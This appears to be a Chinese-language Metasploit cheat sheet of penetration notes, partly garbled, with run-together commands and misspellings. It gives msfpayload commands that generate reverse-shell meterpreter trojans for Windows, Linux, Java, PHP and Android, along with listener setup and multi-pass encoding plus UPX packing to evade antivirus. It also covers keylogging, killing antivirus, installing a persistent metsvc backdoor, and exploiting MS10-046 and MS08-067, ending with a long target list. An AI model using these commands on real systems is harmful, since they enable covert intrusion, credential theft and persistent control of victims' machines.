#kali渗透笔记
Windows shellCode usege
/root生成木马hello.exe

Lhost本机ip

Lpost回连端口

windows/meterpreter/reverse_tcp LHOST=192.168.159.128LPORT=1211 X或E >hello.exe
1
2
3
4
5
6
7
8
9
10
11
12
13
msf > use exploit/multi/handler
msf exploit(handler) > set payloadwindows/meterpreter/reverse_tcp
payload=> windows/meterpreter/reverse_tcp
msfexploit(handler) > set LHOST 192.168.159.128
LHOST=> 192.168.159.128
msf exploit(handler) > set LPORT1211
LPORT => 1211
msf exploit(handler) > exploit``` 开始侦听,在目标端运行木马即可获取shell
 
##### linux下攻击载荷
```msfpayloadlinux/x86/meterpreter/rverse_tcp LHOST=192.168.159.128 LPORT=1212 X >hello.sh
msf exploit(handler) > set payloadlinux/x86/meterpreter/reverse_tcp
payload =>linux/x86/meterpreter/reverse_tcp
java下攻击载荷
java/meterpreter/reverse_tcp LHOST=192.168.159.128 LPORT=1212 X >hello.jar```
1
2
3
 
##### php下攻击载荷
```msfpayloadphp/meterpreter/reverse_tcp LHOST=192.168.159.128LPORT=1212 R > 123.php
Android下攻击载荷
1
msfpayloadandroid/meterpreter/reverse_tcp LHOST=192.168.159.128 LPORT=7777 R> /root/hello.apk
shellCode免杀
多重编码免杀(弱):
windows/meterpreter/rverse_tcpLHOST=192.168.159.128 LPORT=1212 R|Msfencode -ex86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw |msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5-t exe -o
1
 -o /root/hello.exe
加壳

Upx -5hello.exe

meterpreter基本命令

screenshot截屏
sysinfo系统信息
ps查看进程
migrate 1323切换进程(使木马寄存在其他进程上)
Run post/windows/capture/keylog_recorder记录键盘输入

持久控制

run post/windows/manage/migrate自动切换进程
run killav 关闭正在运行的cmd
服务器安装后门
run metsvc -A 安装后门
使用后门:
use exploit/multi/handler
set payloadwindows/metsvc_bind_tcp
set RHOST 192.168.159.1
set LPORT 31337
exploit

漏洞利用:

Ms10-046
useexploit/windows/browser/ms10_046_shortcut_icon_dllloader
SRVHOST LHOST 设置为本机ip
Payload: set payload windows/shell/reverse_tcp

Ms08-067
set payloadwindows/meterpreter/reverse_tcp
RHOSTLHOST

Targets:
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows 2003 SP0 Universal
4 Windows XP SP2 English (AlwaysOn NX)
5 Windows XP SP2 English (NX)
6 Windows XP SP3 English (AlwaysOn NX)
7 Windows XP SP3 English (NX)
8 Windows XP SP2 Arabic (NX)
9 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
10 Windows XP SP2 Chinese - Simplified (NX)
11 Windows XP SP2 Chinese - Traditional (NX)
12 Windows XP SP2 Czech (NX)
13 Windows XP SP2 Danish (NX)
14 Windows XP SP2 German (NX)
15 Windows XP SP2 Greek (NX)
16 Windows XP SP2 Spanish (NX)
17 Windows XP SP2 Finnish (NX)
18 Windows XP SP2 French (NX)
19 Windows XP SP2 Hebrew (NX)
20 Windows XP SP2 Hungarian (NX)
21 Windows XP SP2 Italian (NX)
22 Windows XP SP2 Japanese (NX)
23 Windows XP SP2 Korean (NX)
24 Windows XP SP2 Dutch (NX)
25 Windows XP SP2 Norwegian (NX)
26 Windows XP SP2 Polish (NX)
27 Windows XP SP2 Portuguese - Brazilian (NX)
28 Windows XP SP2 Portuguese (NX)
29 Windows XP SP2 Russian (NX)
30 Windows XP SP2 Swedish (NX)
31 Windows XP SP2 Turkish (NX)
32 Windows XP SP3 Arabic (NX)
33 Windows XP SP3 Chinese - Traditional / Taiwan (NX)
34 Windows XP SP3 Chinese - Simplified (NX)
35 Windows XP SP3 Chinese - Traditional (NX)
36 Windows XP SP3 Czech (NX)
37 Windows XP SP3 Danish (NX)
38 Windows XP SP3 German (NX)
39 Windows XP SP3 Greek (NX)
40 Windows XP SP3 Spanish (NX)
41 Windows XP SP3 Finnish (NX)
42 Windows XP SP3 French (NX)
43 Windows XP SP3 Hebrew (NX)
44 Windows XP SP3 Hungarian (NX)
45 Windows XP SP3 Italian (NX)
46 Windows XP SP3 Japanese (NX)
47 Windows XP SP3 Korean (NX)
48 Windows XP SP3 Dutch (NX)
49 Windows XP SP3 Norwegian (NX)
50 Windows XP SP3 Polish (NX)
51 Windows XP SP3 Portuguese - Brazilian (NX)
52 Windows XP SP3 Portuguese (NX)
53 Windows XP SP3 Russian (NX)
54 Windows XP SP3 Swedish (NX)
55 Windows XP SP3 Turkish (NX)
56 Windows 2003 SP1 English (NO NX)
57 Windows 2003 SP1 English (NX)
58 Windows 2003 SP1 Japanese (NO NX)
59 Windows 2003 SP1 Spanish (NO NX)
60 Windows 2003 SP1 Spanish (NX)
61 Windows 2003 SP2 English (NO NX)
62 Windows 2003 SP2 English (NX)
63 Windows 2003 SP2 German (NO NX)
64 Windows 2003 SP2 German (NX)
65 Windows 2003 SP2 Portuguese - Brazilian (NX)
66 Windows 2003 SP2 Spanish (NO NX)
67 Windows 2003 SP2 Spanish (NX)
68 Windows 2003 SP2 Japanese (NO NX)